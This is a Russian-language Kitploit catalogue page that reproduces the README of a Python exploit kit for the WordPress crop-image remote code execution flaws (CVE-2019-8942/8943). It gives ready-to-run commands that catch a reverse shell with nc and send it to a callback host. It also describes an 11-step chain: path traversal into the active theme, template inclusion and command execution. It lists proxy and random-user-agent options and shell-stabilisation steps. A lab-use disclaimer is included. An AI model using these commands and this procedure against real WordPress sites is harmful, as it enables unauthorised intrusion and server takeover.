Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
WordPress-RCE-CVE-2019-8942 — Python-набор эксплойтов для WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943 | Kitploit
Инструменты/GitHubGitHub/speatx/wordpress-rce-cve-2019-8942
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingРазработка Полезной НагрузкиЛаборатории и Практика

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubspeatx/wordpress-rce-cve-2019-8942

WordPress-RCE-CVE-2019-8942

Python-набор эксплойтов для WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943

Репозиторий
12 месяцев назадЕщё не проверено

WordPress Crop Image RCE — CVE-2019-8942 / CVE-2019-8943

Реализация на Python3 аутентифицированной эксплуатационной цепочки crop-image для WordPress. Репозиторий организован вокруг двух независимых рабочих процессов: ручного скрипта в стиле OSCP и полностью автоматизированного скрипта со встроенным обработчиком обратной оболочки.

Используйте это только в авторизованных лабораториях, CTF, обучающих платформах или системах, на которые у вас есть явное разрешение для тестирования.


Затронутые версии WordPress

Эксплуатационная цепочка нацелена на уязвимости, отслеживаемые как:

  • CVE-2019-8942
  • CVE-2019-8943

Публичный модуль Metasploit для этой уязвимости описывает затронутые версии следующим образом:

root@kitploit:~
WordPress 5.0.0 and WordPress <= 4.9.8

Требуется действительная учётная запись WordPress с правами на загрузку/редактирование медиафайлов. Во многих лабораторных средах достаточно пользователя уровня Author.


Структура репозитория

root@kitploit:~
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt

image.jpg — это стандартный JPG-носитель, используемый скриптом в стиле OSCP. Он включён, чтобы ручной рабочий процесс работал «из коробки» без необходимости искать случайное изображение.

autoexploit.py является самодостаточным и содержит собственный шестнадцатеричный JPG-носитель внутри, но также может принимать пользовательский JPG с помощью -i.


Установка

root@kitploit:~
python3 -m pip install -r requirements.txt

Единственный требуемый пакет Python:

root@kitploit:~
requests

Если вам нужна поддержка SOCKS-прокси, установите requests с расширениями SOCKS в вашем окружении:

root@kitploit:~
python3 -m pip install 'requests[socks]'

Выбор скрипта

Оба скрипта являются независимыми. Ни один из них не импортирует код из другого.


Рабочий процесс в стиле OSCP

exploit_oscp.py делает рабочий процесс явным. Он подготавливает носитель изображения, выполняет аутентифицированную эксплуатационную цепочку WordPress, подтверждает выполнение команд и запускает обратную оболочку на слушатель, который вы запустили вручную.

Он не запускает обработчик автоматически и не использует Metasploit, Meterpreter или msfvenom.

Базовое использование OSCP

Сначала запустите свой слушатель:

root@kitploit:~
nc -lvnp 443

Запустите эксплойт, используя стандартный image.jpg:

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Использование OSCP с пользовательским JPG

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443

Параметры OSCP

Пример OSCP с Burp

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080

Полностью автоматизированный рабочий процесс

autoexploit.py создан для скорости. Он может работать только с учётными данными цели и попытается автоматически выбрать IP для обратного вызова и порт слушателя.

Он выполняет полный цикл эксплуатации, запускает локальный слушатель, пробует несколько стилей нагрузок обратной оболочки и открывает более чистую интерактивную консоль с цветными сообщениями о локальном статусе и тихой обработкой обновления TTY.

Базовое автоматизированное использование

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password

Автоматизированное использование с явными значениями обратного вызова

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Автоматизированное использование с пользовательским изображением и прокси

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080

Параметры автоматизации


Примеры прокси и User-Agent

HTTP-прокси через Burp:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

SOCKS-прокси:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050

Пользовательский User-Agent:

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"

Случайный User-Agent:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent

Почему изображение имеет значение

Это не обычная загрузка PHP. WordPress ожидает содержимое изображения, обрабатывает файл через редактор медиафайлов и создаёт обрезанное изображение. Затем эксплуатационная цепочка злоупотребляет метаданными вложений и обходом пути, чтобы поместить обрезанное изображение в каталог активной темы. Наконец, обрезанный файл указывается как шаблон страницы, поэтому WordPress включает его как PHP.

Случайный JPG с PHP, помещённым в хрупкие метаданные EXIF, может не сработать, потому что GD может удалить или перекодировать метаданные во время обработки обрезки. Этот репозиторий сохраняет рабочий процесс понятным:

  • exploit_oscp.py по умолчанию использует включённый image.jpg или пользовательское изображение, переданное через -i.
  • autoexploit.py содержит внутренний шестнадцатеричный носитель, поэтому остаётся самодостаточным.
  • Оба рабочих процесса подготавливают загрузку таким образом, чтобы она могла пережить этап обрезки WordPress.

Технический процесс

  1. Аутентификация в WordPress.
  2. Обнаружение активной темы.
  3. Загрузка JPG-носителя через async-upload.php.
  4. Получение nonce для медиафайлов, редактора изображений и вложений.
  5. Использование манипуляции _wp_attached_file для влияния на путь вывода обрезки.
  6. Запуск действия обрезки один раз для подготовки поведения.
  7. Запуск действия обрезки снова с обходом пути в каталог активной темы.
  8. Создание записи и установка _wp_page_template на имя обрезанного JPG.
  9. Запрос записи, чтобы WordPress включил созданный JPG как шаблон.
  10. Подтверждение выполнения команды через параметр GET 0.
  11. Запуск обратной оболочки на настроенную или автоматически выбранную конечную точку обратного вызова.

Устранение неполадок

Аутентификация работает, но выполнение не подтверждается

Проверьте, что версия WordPress уязвима, а учётная запись может загружать и редактировать медиафайлы.

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug

Выполнение команд подтверждено, но оболочка не возвращается

Проверьте IP обратного вызова и слушатель.

root@kitploit:~
ip addr show tun0
root@kitploit:~
nc -lvnp 443

Затем запустите скрипт OSCP снова с правильным --lhost.

Burp не показывает трафик

Используйте опцию прокси явно:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

SOCKS-прокси не работает

Установите поддержку SOCKS:

root@kitploit:~
python3 -m pip install 'requests[socks]'

Оболочка кажется нестабильной

Базовые обратные оболочки часто ограничены. Автоматизированный скрипт пытается обновить сессию автоматически. В режиме OSCP обновите её вручную после получения обратного вызова:

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'

Нажмите Ctrl+Z локально, затем выполните:

root@kitploit:~
stty raw -echo; fg

Внутри оболочки:

root@kitploit:~
export TERM=xterm

Примечания к стилю OSCP

exploit_oscp.py намеренно ручной:

  • без Metasploit;
  • без Meterpreter;
  • без автоматического обработчика;
  • без зависимости от autoexploit.py;
  • явный слушатель, управляемый оператором;
  • явные LHOST и LPORT;
  • понятный вывод, показывающий каждый этап.

Предполагаемый рабочий процесс:

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Благодарности

Исследование и цепочка уязвимостей были публично задокументированы оригинальными исследователями, а затем реализованы в публичных эксплуатационных фреймворках.

Реализация на Python и лабораторный рабочий процесс от SpeatX.


Юридическое уведомление

Этот репозиторий предоставлен для авторизованного тестирования безопасности, CTF, учебных лабораторий и образовательных исследований.

Не запускайте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Скачать инструмент
СкриптДля чего лучше всего подходитРабота с изображениемРабота с оболочкой
exploit_oscp.pyРучная эксплуатация в стиле OSCPПо умолчанию использует image.jpg или -i custom.jpgВы запускаете nc вручную
autoexploit.pyБыстрое использование в лабораториях и повторное тестированиеПо умолчанию использует встроенный шестнадцатеричный JPG или -i custom.jpgЗапускает слушатель, инициирует обратные вызовы и открывает интерактивную консоль
ПараметрОбязательныйПо умолчаниюОписание
-t, --targetДаНетБазовый URL целевого WordPress, например http://target.local/
-u, --usernameДаНетИмя пользователя WordPress
-p, --passwordДаНетПароль WordPress
-i, --imageНетimage.jpgJPG-носитель для подготовки и загрузки
--lhostДаНетВаш IP для обратного вызова, обычно ваш VPN/tun0 IP
--lportДаНетПорт, на котором ожидает ваш ручной слушатель
--proxyНетНетURL прокси, например http://127.0.0.1:8080 или socks5://127.0.0.1:9050
--user-agentНетВстроенныйПользовательский заголовок User-Agent
--random-user-agentНетОтключеноИспользовать случайный User-Agent, подобный браузерному
--timeoutНет20Тайм-аут HTTP в секундах
--debugНетОтключеноВыводить отладочную информацию HTTP и сохранять полезные ответы при ошибках
ПараметрОбязательныйПо умолчаниюОписание
-t, --targetДаНетБазовый URL целевого WordPress
-u, --usernameДаНетИмя пользователя WordPress
-p, --passwordДаНетПароль WordPress
-i, --imageНетВстроенный шестнадцатеричный JPGДополнительный пользовательский JPG-носитель
--lhostНетАвтоопределениеIP для обратного вызова, используемый обратной оболочкой
--lportНетСвободный локальный портПорт локального слушателя
--listen-timeoutНет12Секунд ожидания для каждой попытки обратной оболочки
--proxyНетНетURL прокси, например http://127.0.0.1:8080 или socks5://127.0.0.1:9050
--user-agentНетВстроенныйПользовательский заголовок User-Agent
--random-user-agentНетОтключеноИспользовать случайный User-Agent, подобный браузерному
--timeoutНет20Тайм-аут HTTP в секундах
--debugНетОтключеноВыводить отладочную информацию HTTP и сохранять полезные ответы при ошибках